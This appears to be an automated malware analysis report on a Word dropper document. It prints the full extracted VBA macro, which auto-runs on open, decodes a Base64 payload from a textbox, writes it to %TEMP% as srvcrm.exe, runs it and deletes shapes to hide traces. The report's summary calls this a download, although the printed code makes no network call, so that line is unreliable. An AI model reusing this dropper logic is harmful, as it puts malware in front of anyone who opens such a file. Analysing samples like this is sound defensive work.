Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e9ea627e7a6d5e79…

MALICIOUS

Office (OOXML)

602.2 KB Created: 2015-11-26 09:43:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2019-01-31
MD5: 98d1c9770d92ba42607ac5e98fc7486f SHA-1: 4f07d18475601d0492cbf678ee0f0860c729910e SHA-256: e9ea627e7a6d5e79ca9568504796091c136435159000ec7966f0eaebd935c306
238 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The file contains a VBA macro that executes automatically upon opening the document. This macro uses `CreateObject` to write a Base64 encoded payload to a temporary executable file named 'srvcrm.exe' and then executes it. The `Environ("temp")` call reconstructs to a temporary directory path, and the `bsfDc` function decodes a Base64 string. The `ShellExecute` call indicates the intent to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6406060-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6406060-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
       On Error Resume Next
        Set Shell1 = CreateObject("Shell.Application")
        Dim fp As String: fp = Environ("temp") & "\srvcrm" & "." & "ex" & "e"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
       On Error Resume Next
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Set Shell1 = CreateObject("Shell.Application")
        Dim fp As String: fp = Environ("temp") & "\srvcrm" & "." & "ex" & "e"
        wBs fp, bsfDc(TB1.Text)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1354 bytes
SHA-256: 859d7e50af355d186cff91c98eb8ea95f8f4687e00bdbcc891a04d04a68d8ad5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TB1, 0, 0, MSForms, TextBox"
Const TypeBinary = 1
Const ForWriting = 2
Dim bsfEd, bsfDd, outBAy

Private Sub Document_Open()
   On Error Resume Next
    Set Shell1 = CreateObject("Shell.Application")
    Dim fp As String: fp = Environ("temp") & "\srvcrm" & "." & "ex" & "e"
    wBs fp, bsfDc(TB1.Text)
    Shell1.ShellExecute fp
    Set Shell1 = Nothing
     With ActiveDocument.InlineShapes(ActiveDocument.InlineShapes.Count)
    .Reset
    End With
    ThisDocument.Shapes(2).Delete
    ThisDocument.Shapes(1).Delete
   
End Sub

Private Function bsfDc(bsf)
  Dim DM, EL
  Set DM = CreateObject("Microsoft.XMLDOM")
  Set EL = DM.createElement("tmp")
  EL.DataType = "bin.base64"
  EL.Text = bsf
  bsfDc = EL.NodeTypedValue
End Function

Private Sub wBs(Num, Bun)
  Dim binaryStream
  Set binaryStream = CreateObject("ADODB.Stream")
  binaryStream.Type = TypeBinary
  binaryStream.Open
  binaryStream.Write Bun
  binaryStream.SaveToFile Num, ForWriting
End Sub



Private Sub TB1_Change()

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 18c6f4b7732648465b6ae5137939ad678f22b420c36c1dba970bde88bf88fe53
Detection
ClamAV: Doc.Dropper.Agent-6406060-0
Obfuscation or payload: unlikely